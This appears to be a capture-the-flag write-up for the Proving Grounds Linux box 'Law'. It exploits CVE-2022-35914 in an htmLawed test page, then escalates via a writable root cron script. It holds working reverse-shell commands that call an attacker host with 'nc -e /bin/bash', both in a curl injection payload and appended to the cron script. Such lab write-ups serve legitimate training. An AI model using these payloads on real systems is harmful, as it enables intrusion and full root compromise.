# Law Writeup - Proving Grounds

> Intermediate Linux box exploiting CVE-2022-35914 in an exposed htmLawed test page for a www-data shell, then escalating to root via a writable cron script.

- **URL:** https://hackindex.io/writeups/law
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** command-injection, htmlawed, privilege-escalation, cron-abuse, cve-2022-35914
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Law exposes the htmLawed debug test interface, vulnerable to CVE-2022-35914, a parameter that reaches PHP's `exec()` directly for an unauthenticated `www-data` shell. Root comes from a cron job that runs a log-cleanup script `www-data` can write to.

## Reconnaissance

### Nmap

Scan the target for open services.

```bash
nmap -sC -sV -p- $TARGET_IP
# 22/tcp open ssh   OpenSSH 8.4p1 Debian
# 80/tcp open http  Apache httpd 2.4.56 (Debian)
#   http-title: htmLawed (1.2.5) test
```

Port 80 serves the **htmLawed 1.2.5** test interface directly at the webroot. htmLawed is an HTML sanitizer library for PHP, and this test page, meant only for developers, is a debugging tool that should never reach production. It has a form with a "Process" button and encoding/validation settings.

## Exploitation

### htmLawed hhook RCE (CVE-2022-35914)

The test page accepts an `hhook` POST parameter that is passed to PHP's `exec()`, with the `text` parameter as its argument. Set up a listener first.

```bash
nc -nlvp $ATTACKER_PORT
```

Fire the payload. The `sid` value must match in both the POST body and the cookie.

```bash
curl -s -d "sid=foo&hhook=exec&text=nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash" -b "sid=foo" http://$TARGET_IP/
```

The listener catches a shell as `www-data`.

## Privilege Escalation

### Writable cron script

Enumerating writable files reveals `/var/www/cleanup.sh`, a script that clears the Apache logs.

```bash
cat /var/www/cleanup.sh
# #!/bin/bash
# rm -rf /var/log/apache2/error.log
# rm -rf /var/log/apache2/access.log
```

The script lives outside the webroot, so broad enumeration of writable files matters more than just checking `/var/www/html/`. A root cron job runs it every few minutes, and `www-data` can write to it, so append a reverse shell.

```bash
echo 'nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash' >> /var/www/cleanup.sh
nc -nlvp $ATTACKER_PORT
```

Within 1-3 minutes the cron job fires and delivers a root shell.

Related

## References

- [CVE-2022-35914](https://nvd.nist.gov/vuln/detail/CVE-2022-35914) - htmLawed hhook parameter command injection via exec().